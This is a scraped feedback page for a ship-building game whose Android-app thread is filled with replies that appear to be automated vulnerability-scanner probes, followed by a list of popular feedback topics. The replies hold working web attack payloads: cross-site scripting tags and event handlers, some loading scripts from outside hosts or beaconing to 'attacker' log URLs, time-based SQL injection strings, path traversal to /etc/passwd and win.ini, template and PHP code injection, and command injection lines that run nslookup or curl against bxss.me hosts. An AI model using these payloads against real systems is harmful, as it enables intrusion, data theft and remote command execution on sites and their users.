Feedback

android app by Barissenkal - 146 months ago

I would love to see an android app of this game.

• Khhnhjk

  Kyjykhhthjuse

• Njjjh

  Hwhah

• Njjjh

  Kyjykhhthjuse

• lxbfYeaa

  1

• lxbfYeaa

  1

• lxbfYeaa

  1

• @@jzgyW

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  1Dt0C9SVhLO

• 1CixYYfyMeO

  1

• Anonymous

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  ${9999700+9999093}

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• ${9999960+10000374}

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  response.write(9635441*9630037)

• WfxYANoW

  hjoIJdmB

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  TvgJTJlF: E3oQfgHl

• WfxYANoW

  '+response.write(9635441*9630037)+'

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  Http://bxss.me/t/fit.txt

• IwH7hqx3

  1

• WfxYANoW

  1

• WfxYANoW

  echo bbayzu$()\ opnzgl\nz^xyu||a #' &echo bbayzu$()\ opnzgl\nz^xyu||a #|" &echo bbayzu$()\ opnzgl\nz^xyu||a #

• WfxYANoW

  1&n940390=v944743

• MoZm8OD1: 5sHyWSuL

  1

• WfxYANoW&n968453=v997344

  1

• VlJPaWlyQkg=

  1

• WfxYANoW

  &echo qyjkwm$()\ fdhwfa\nz^xyu||a #' &echo qyjkwm$()\ fdhwfa\nz^xyu||a #|" &echo qyjkwm$()\ fdhwfa\nz^xyu||a #

• WfxYANoW

  "+response.write(9635441*9630037)+"

• WfxYANoW

  )

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• response.write(9244312*9065392)

  1

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  ../1

• WfxYANoW

  1&echo pxcxwy$()\ tiyrzp\nz^xyu||a #' &echo pxcxwy$()\ tiyrzp\nz^xyu||a #|" &echo pxcxwy$()\ tiyrzp\nz^xyu||a #

• WfxYANoW

  /etc/shells

• '+response.write(9244312*9065392)+'

  1

• WfxYANoW

  |echo bqgmux$()\ lcfudq\nz^xyu||a #' |echo bqgmux$()\ lcfudq\nz^xyu||a #|" |echo bqgmux$()\ lcfudq\nz^xyu||a #

• WfxYANoW

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  ^(#$!@#$)(()))******

• "+response.write(9244312*9065392)+"

  1

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  '.gethostbyname(lc('hitlu'.'tonzzpji7e2d1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(73).chr(108).chr(90).'

• )

  1

• WfxYANoW

  1|echo itikmh$()\ hqjvlu\nz^xyu||a #' |echo itikmh$()\ hqjvlu\nz^xyu||a #|" |echo itikmh$()\ hqjvlu\nz^xyu||a #

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  ".gethostbyname(lc("hitlu"."fzavfmcia144b.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(67).chr(104).chr(69)."

• !(()&&!|*|*|

  1

• WfxYANoW

  bxss.me

• WfxYANoW

  ';print(md5(31337));$a='

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  (nslookup -q=cname hitqcezbtrxcnf75f5.bxss.me||curl hitqcezbtrxcnf75f5.bxss.me))

• WfxYANoW

  gethostbyname(lc('hiter'.'wpecylav9d0b6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(76).chr(103).chr(70)

• WfxYANoW

  $(nslookup -q=cname hitgcvxguhrhyafe3b.bxss.me||curl hitgcvxguhrhyafe3b.bxss.me)

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  &nslookup -q=cname hitbdvndwnopr3a31e.bxss.me&'\"`0&nslookup -q=cname hitbdvndwnopr3a31e.bxss.me&`'

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• file:///etc/passwd

  1

• WfxYANoW

  '"()

• WfxYANoW

  xfs.bxss.me

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  1'&&sleep(27*1000)*icpvdf&&'

• WfxYANoW

  1

• WfxYANoW

  &(nslookup -q=cname hitcjhndftzwtad0fb.bxss.me||curl hitcjhndftzwtad0fb.bxss.me)&'\"`0&(nslookup -q=cname hitcjhndftzwtad0fb.bxss.me||curl hitcjhndftzwtad0fb.bxss.me)&`'

• xfs.bxss.me

  1

• WfxYANoW

  |(nslookup -q=cname hitxrlmrryanx230c7.bxss.me||curl hitxrlmrryanx230c7.bxss.me)

• WfxYANoW

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  1'"()&%<zzz><ScRiPt >xDc2(9468)</ScRiPt>

• /etc/shells

  1

• WfxYANoW

  `(nslookup -q=cname hitunowbwkdzhb2a90.bxss.me||curl hitunowbwkdzhb2a90.bxss.me)`

• WfxYANoW

  1"&&sleep(27*1000)*dztlle&&"

• WfxYANoW

  '"

• ../WfxYANoW

  1

• c:/windows/win.ini

  1

• WfxYANoW

  '"()&%<zzz><ScRiPt >xDc2(9217)</ScRiPt>

• WfxYANoW

  ;(nslookup -q=cname hitaotzfbdtqj719bd.bxss.me||curl hitaotzfbdtqj719bd.bxss.me)|(nslookup -q=cname hitaotzfbdtqj719bd.bxss.me||curl hitaotzfbdtqj719bd.bxss.me)&(nslookup -q=cname hitaotzfbdtqj719bd.bxss.me||curl hitaotzfbdtqj719bd.bxss.me)

• bxss.me

  1

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  <!--

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitqgzncxzbra308ac.bxss.me||curl${IFS}hitqgzncxzbra308ac.bxss.me)

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  comment

• WfxYANoW

  1'||sleep(27*1000)*rojmks||'

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(120).concat(79).concat(100).concat(67)+(require"socket" Socket.gethostbyname("hitbz"+"skajxxdeaa80a.bxss.me.")[3].to_s)+"

• WfxYANoW

  1"||sleep(27*1000)*gwdwdm||"

• '"

  1

• WfxYANoW

  comment

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitijglizeezpa35e4.bxss.me||curl${IFS}hitijglizeezpa35e4.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitijglizeezpa35e4.bxss.me||curl${IFS}hitijglizeezpa35e4.bxss.me)&`'

• WfxYANoW

  19768086

• <!--

  1

• WfxYANoW

  comment/.

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(109).concat(87).concat(99).concat(65)+(require'socket' Socket.gethostbyname('hitdr'+'voqffhkm8c396.bxss.me.')[3].to_s)+'

• WfxYANoW

  1

• comment

  1

• comment

  1

• WfxYANoW

  bfg4724＜s1﹥s2ʺs3ʹhjl4724

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(98).concat(82).concat(119).concat(81)+(require'socket' Socket.gethostbyname('hitma'+'dcqwvypd363f6.bxss.me.')[3].to_s)

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  '.print(md5(31337)).'

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• ';print(md5(31337));$a='

  1

• '"()

  1

• bxss.me/t/xss.html?%00

  1

• comment/.

  1

• ";print(md5(31337));$a="

  1

• WfxYANoW'&&sleep(27*1000)*usjshk&&'

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• ${@print(md5(31337))}

  1

• WfxYANoW"&&sleep(27*1000)*mngwmk&&"

  1

• ${@print(md5(31337))}\

  1

• WfxYANoW'||sleep(27*1000)*cxbtlb||'

  1

• '.print(md5(31337)).'

  1

• WfxYANoW"||sleep(27*1000)*uslukj||"

  1

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  1

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >xDc2(9734)</ScRiPt>

• WfxYANoW

  1<WEAOGR>OSBZK[!+!]</WEAOGR>

• WfxYANoW

  1<script>xDc2(9954)</script>

• WfxYANoW

  1<script>xDc2(9371)</script>9371

• WfxYANoW

  1<ScR<ScRiPt>IpT>xDc2(9000)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >xDc2(9926)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9583></ScRiPt>

• WfxYANoW

  1GXXpCz8U

• WfxYANoW

  1<ScRiPt >xDc2(9588)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=xDc2(9305)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9173'>

• WfxYANoW

  1<body onload=xDc2(9994)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=xDc2(9733)>

• WfxYANoW

  1<img src=xyz OnErRor=xDc2(9396)>

• WfxYANoW

  1<img/src=">" onerror=alert(9446)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%78%44%63%32%289825%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\xDc2(9032)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;xDc2(9925)&lt;/sCripT&gt;

• WfxYANoW

  1

• WfxYANoW

  -1 OR 2+559-559-1=0+0+0+1 --

• WfxYANoW

  -1 OR 2+691-691-1=0+0+0+1

• WfxYANoW

  -1' OR 2+450-450-1=0+0+0+1 --

• WfxYANoW

  -1' OR 2+912-912-1=0+0+0+1 or 'F8WCDWhP'='

• WfxYANoW

  1<input autofocus onfocus=xDc2(9799)>

• WfxYANoW

  -1" OR 2+261-261-1=0+0+0+1 --

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(xDc2(9568))}

• WfxYANoW

  1aLrtj <ScRiPt >xDc2(9387)</ScRiPt>

• WfxYANoW

  1<WKHHUR>3SMBV[!+!]</WKHHUR>

• WfxYANoW

  1<ifRAme sRc=9676.com></IfRamE>

• WfxYANoW

  1<a56aDI3 x=9997>

• WfxYANoW

  1<img sRc='http://attacker-9382/log.php?

• WfxYANoW

  1<azZ1IxZ<

• WfxYANoW'"()&%<zzz><ScRiPt >xDc2(9935)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >xDc2(9874)</ScRiPt>

  1

• WfxYANoW9412850

  1

• bfg3411＜s1﹥s2ʺs3ʹhjl3411

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >xDc2(9785)</ScRiPt>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<W29KOH>6UF2N[!+!]</W29KOH>

  1

• WfxYANoW<script>xDc2(9354)</script>

  1

• WfxYANoW<script>xDc2(9115)</script>9115

  1

• WfxYANoW<ScRiPt >xDc2(9282)</ScRiPt>

  1

• WfxYANoW<ScRiPt >xDc2(9049)</ScRiPt>

  1

• WfxYANoW<body onload=xDc2(9228)>

  1

• WfxYANoW<img src=xyz OnErRor=xDc2(9460)>

  1

• WfxYANoW<img/src=">" onerror=alert(9669)>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW\u003CScRiPt\xDc2(9333)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;xDc2(9733)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=xDc2(9502)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(xDc2(9497))}

  1

• WfxYANoWlS35x <ScRiPt >xDc2(9504)</ScRiPt>

  1

• WfxYANoW<WBHANE>LD4Z0[!+!]</WBHANE>

  1

• WfxYANoW<ifRAme sRc=9575.com></IfRamE>

  1

• WfxYANoW<a20lM6U x=9245>

  1

• WfxYANoW<img sRc='http://attacker-9277/log.php?

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW<auhPA5J<

  1

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:6' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1a6qxVKrN'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 80=(SELECT 80 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 807=(SELECT 807 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 133=(SELECT 133 FROM PG_SLEEP(15))--

• WfxYANoW

  1xRsk1uYk' OR 809=(SELECT 809 FROM PG_SLEEP(15))--

• WfxYANoW

  1oDr6zHBw') OR 524=(SELECT 524 FROM PG_SLEEP(15))--

• WfxYANoW

  1NVDbzMGQ')) OR 320=(SELECT 320 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@FBvDC

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWius9Xwok

  1

• WfxYANoW

  1

• -1 OR 2+591-591-1=0+0+0+1 --

  1

• -1 OR 2+948-948-1=0+0+0+1

  1

• -1' OR 2+598-598-1=0+0+0+1 --

  1

• -1' OR 2+23-23-1=0+0+0+1 or 'Th6Tj08O'='

  1

• -1" OR 2+203-203-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWuWyBUOnk'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@dDxqg

  1

• Pecedec150

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• @@hVbR8

  1

• dkfwaurj

  1

• rkurfuck

  response.write(9092493*9336172)

• nulijpwu

  1

• rkurfuck

  '+response.write(9092493*9336172)+'

• nulijpwu

  1

• dvvsulfw

  set|set&set

• rkurfuck

  "+response.write(9092493*9336172)+"

• nulijpwu

  ngwlLSwl

• dvvsulfw

  $(nslookup VXMiMhTj)

• response.write(9133111*9828569)

  1

• nulijpwu

  -1 OR 2+623-623-1=0+0+0+1 --

• dvvsulfw

  &nslookup PSRpsIpt&'\"`0&nslookup PSRpsIpt&`'

• '+response.write(9133111*9828569)+'

  1

• nulijpwu

  -1 OR 2+611-611-1=0+0+0+1

• qlmftmhe

  q0VO0YUk

• set|set&set

  1

• "+response.write(9133111*9828569)+"

  1

• wntbdkrt

  ../../../../../../../../../../etc/passwd

• nulijpwu

  -1' OR 2+91-91-1=0+0+0+1 --

• k0rjPlKX

  1

• $(nslookup VvlmX2N6)

  1

• htnpdfwm

  1

• wntbdkrt

  ../../../../../../../../../../../../../../../proc/version

• nulijpwu

  -1' OR 2+738-738-1=0+0+0+1 or 'kgp56gl8'='

• hvcmwhak

  ${9999358+10000460}

• &nslookup wjQBtxag&'\"`0&nslookup wjQBtxag&`'

  1

• soijcdmq

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• wntbdkrt

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• nulijpwu

  -1" OR 2+211-211-1=0+0+0+1 --

• ${9999616+9999032}

  1

• eER5NklwaVA=

  1

• soijcdmq

  1some_inexistent_file_with_long_name.jpg

• wntbdkrt

  ../../../../../../../../../../etc/passwd.jpg

• nulijpwu

  if(now()=sysdate(),sleep(12),0)/*'XOR(if(now()=sysdate(),sleep(12),0))OR'"XOR(if(now()=sysdate(),sleep(12),0))OR"*/

• aadnxxmy

  1&n960602=v995375

• oafsghrb

  )

• soijcdmq

  Http://testasp.vulnweb.com/t/fit.txt

• wntbdkrt

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• nulijpwu

  (select(0)from(select(sleep(4)))v)/*'+(select(0)from(select(sleep(4)))v)+'"+(select(0)from(select(sleep(4)))v)+"*/

• oafsghrb

  !(()&&!|*|*|

• soijcdmq

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• htnpdfwm

  1

• wntbdkrt

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• nulijpwu

  (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/

• wwxuigei&n918654=v975931

  1

• oafsghrb

  ^(#$!@#$)(()))******

• soijcdmq

  testasp.vulnweb.com

• Anonymous

  1

• wntbdkrt

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• nulijpwu

  -1; waitfor delay '0:0:4' --

• )

  1

• wntbdkrt

  /etc/passwd

• nulijpwu

  -1; waitfor delay '0:0:0' --

• !(()&&!|*|*|

  1

• 1some_inexistent_file_with_long_name.jpg

  1

• wntbdkrt

  %2fetc%2fpasswd

• nulijpwu

  -1); waitfor delay '0:0:4' --

• bouurshu

  '"()

• ^(#$!@#$)(()))******

  1

• Http://testasp.vulnweb.com/t/fit.txt

  1

• vfclcreu

  ;print(md5(acunetix_wvs_security_test));

• wntbdkrt

  /.././.././.././.././.././.././.././../etc/./passwd%00

• nulijpwu

  -1); waitfor delay '0:0:8' --

• dmudmptx

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• vfclcreu

  ';print(md5(acunetix_wvs_security_test));$a='

• wntbdkrt

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• nulijpwu

  1 waitfor delay '0:0:4' --

• '"()

  1

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• testasp.vulnweb.com

  1

• vfclcreu

  ";print(md5(acunetix_wvs_security_test));$a="

• wntbdkrt

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• nulijpwu

  1 waitfor delay '0:0:8' --

• yhpfxjku

  1

• yujmqdvv

  http://hitGqWavAsYU1.bxss.me/

• lrnplqcj

  1

• vfclcreu

  ${@print(md5(acunetix_wvs_security_test))}

• nulijpwu

  HVx0L98D'; waitfor delay '0:0:4' --

• yhpfxjku

  comment

• http://hitlPZY5Q2RVn.bxss.me/

  1

• lrnplqcj

  1'"

• vfclcreu

  ${@print(md5(acunetix_wvs_security_test))}\

• nulijpwu

  fe8dl1vS'; waitfor delay '0:0:12' --

• wntbdkrt

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• yhpfxjku

  comment

• pggcrlmg

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• lrnplqcj

  \

• ;print(md5(acunetix_wvs_security_test));

  1

• nulijpwu

  -1;select pg_sleep(4); --

• wntbdkrt

  file:///etc/passwd

• yhpfxjku

  comment/.

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• nulijpwu

  -1;select pg_sleep(12); --

• wntbdkrt

  /\../\../\../\../\../\../\../etc/passwd

• yhpfxjku

  1

• prrrefdw

  /www.vulnweb.com

• lrnplqcj

  @@6nYZJ

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• nulijpwu

  -1);select pg_sleep(8); --

• wntbdkrt

  WEB-INF/web.xml

• comment

  1

• /www.vulnweb.com

  1

• lrnplqcj

  JyI=

• ${@print(md5(acunetix_wvs_security_test))}

  1

• nulijpwu

  -1));select pg_sleep(8); --

• wntbdkrt

  /WEB-INF/web.xml

• comment

  1

• vtglngsc

  '"

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• nulijpwu

  PwnEjTTy';select pg_sleep(8); --

• wntbdkrt

  WEB-INF\web.xml

• comment/.

  1

• vtglngsc

  <!--

• cpvfwuqj

  1'"()&%<acx><ScRiPt >bIqr(9020)</ScRiPt>

• nulijpwu

  h4HS3VHf');select pg_sleep(8); --

• ../../../../../../../../../../etc/passwd

  1

• '"

  1

• lrnplqcj

  (select convert(int,CHAR(65)))

• nulijpwu

  JrL2vvcH'));select pg_sleep(8); --

• <!--

  1

• lrnplqcj

  1

• cpvfwuqj

  '"()&%<acx><ScRiPt >bIqr(9504)</ScRiPt>

• nulijpwu

  1

• 1'"

  1

• nulijpwu

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• \

  1

• cpvfwuqj

  1_9546

• jz7NIZT6

  1

• -1 OR 2+870-870-1=0+0+0+1 --

  1

• @@ID6NJ

  1

• cpvfwuqj

  acu9698＜s1﹥s2ʺs3ʹuca9698

• -1 OR 2+98-98-1=0+0+0+1

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• JyI=

  1

• -1' OR 2+982-982-1=0+0+0+1 --

  1

• /etc/passwd

  1

• -1' OR 2+715-715-1=0+0+0+1 or 'gFIn2h0t'='

  1

• %2fetc%2fpasswd

  1

• -1" OR 2+394-394-1=0+0+0+1 --

  1

• (select convert(int,CHAR(65)))

  1

• cpvfwuqj

  {{9999388*9999102}}

• cpvfwuqj

  1<ScRiPt >bIqr(9261)</ScRiPt>

• 1 waitfor delay '0:0:18' --

  1

• jAiw3J8w'; waitfor delay '0:0:18' --

  1

• cpvfwuqj

  1<W7VXS0>4JDCG[!+!]</W7VXS0>

• tY4W4ln0';select pg_sleep(18); --

  1

• file:///etc/passwd

  1

• t9OOAW58');select pg_sleep(6); --

  1

• cpvfwuqj

  1<script>bIqr(9559)</script>

• /\../\../\../\../\../\../\../etc/passwd

  1

• cpJmx0xE'));select pg_sleep(6); --

  1

• WEB-INF/web.xml

  1

• cpvfwuqj

  1<ScR<ScRiPt>IpT>bIqr(9002)</sCr<ScRiPt>IpT>

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• cpvfwuqj

  1<ScRiPt >bIqr(9105)</ScRiPt>

• cpvfwuqj

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9232></ScRiPt>

• cpvfwuqj

  1<ScRiPt >bIqr(9117)</ScRiPt>

• cpvfwuqj

  1<video><source onerror="javascript:bIqr(9241)">

• cpvfwuqj

  1<isindex type=image src=1 onerror=bIqr(9372)>

• cpvfwuqj

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9864'>

• cpvfwuqj

  1<body onload=bIqr(9360)>

• cpvfwuqj

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=bIqr(9119)>

• cpvfwuqj

  1<img src=xyz OnErRor=bIqr(9649)>

• cpvfwuqj

  1<img/src=">" onerror=alert(9408)>

• cpvfwuqj

  %31%3C%53%63%52%69%50%74%20%3E%62%49%71%72%289327%29%3C%2F%73%43%72%69%70%54%3E

• cpvfwuqj

  1\u003CScRiPt\bIqr(9182)\u003C/sCripT\u003E

• cpvfwuqj

  1&lt;ScRiPt&gt;bIqr(9542)&lt;/sCripT&gt;

• cpvfwuqj

  1<input autofocus onfocus=bIqr(9098)>

• cpvfwuqj

  <a HrEF=http://www.vulnweb.com></a>

• cpvfwuqj

  <a HrEF=jaVaScRiPT:>

• cpvfwuqj

  [url=http://www.vulnweb.com][/url]

• cpvfwuqj

  1<img<!-- --> src=x onerror=alert(9632);//><!-- -->

• cpvfwuqj

  1}body{acu:Expre/**/SSion(bIqr(9649))}

• cpvfwuqj

  1<% contenteditable onresize=bIqr(9164)>

• cpvfwuqj

  1_l7lnp <ScRiPt >bIqr(9021)</ScRiPt>

• cpvfwuqj

  1<WA3KYK>KGAK1[!+!]</WA3KYK>

• cpvfwuqj

  1<ifRAme sRc=9854.com></IfRamE>

• cpvfwuqj

  1<XjLxTO x=9794>

• cpvfwuqj

  1<img sRc='http://attacker-9706/log.php?

• cpvfwuqj'"()&%<acx><ScRiPt >bIqr(9509)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >bIqr(9840)</ScRiPt>

  1

• cpvfwuqj_9841

  1

• acu2647＜s1﹥s2ʺs3ʹuca2647

  1

• {{9999265*9999498}}

  1

• cpvfwuqj<ScRiPt >bIqr(9497)</ScRiPt>

  1

• cpvfwuqj<W3LVEU>XAS9J[!+!]</W3LVEU>

  1

• cpvfwuqj<script>bIqr(9891)</script>

  1

• cpvfwuqj<ScRiPt >bIqr(9847)</ScRiPt>

  1

• cpvfwuqj<ScRiPt >bIqr(9969)</ScRiPt>

  1

• cpvfwuqj<body onload=bIqr(9488)>

  1

• cpvfwuqj<img src=xyz OnErRor=bIqr(9850)>

  1

• cpvfwuqj<img/src=">" onerror=alert(9523)>

  1

• cpvfwuqj\u003CScRiPt\bIqr(9285)\u003C/sCripT\u003E

  1

• cpvfwuqj&lt;ScRiPt&gt;bIqr(9411)&lt;/sCripT&gt;

  1

• cpvfwuqj<input autofocus onfocus=bIqr(9215)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• cpvfwuqj}body{acu:Expre/**/SSion(bIqr(9984))}

  1

• cpvfwuqj<% contenteditable onresize=bIqr(9739)>

  1

• cpvfwuqj_QvqEA <ScRiPt >bIqr(9432)</ScRiPt>

  1

• cpvfwuqj<WKRTC8>SNXQP[!+!]</WKRTC8>

  1

• cpvfwuqj<ifRAme sRc=9843.com></IfRamE>

  1

• cpvfwuqj<WFbd5a x=9696>

  1

• cpvfwuqj<img sRc='http://attacker-9446/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8064 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2857 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  798 agree

• editro
  By critic - 155 months ago
  Unvote

  771 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  746 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  709 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  660 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote
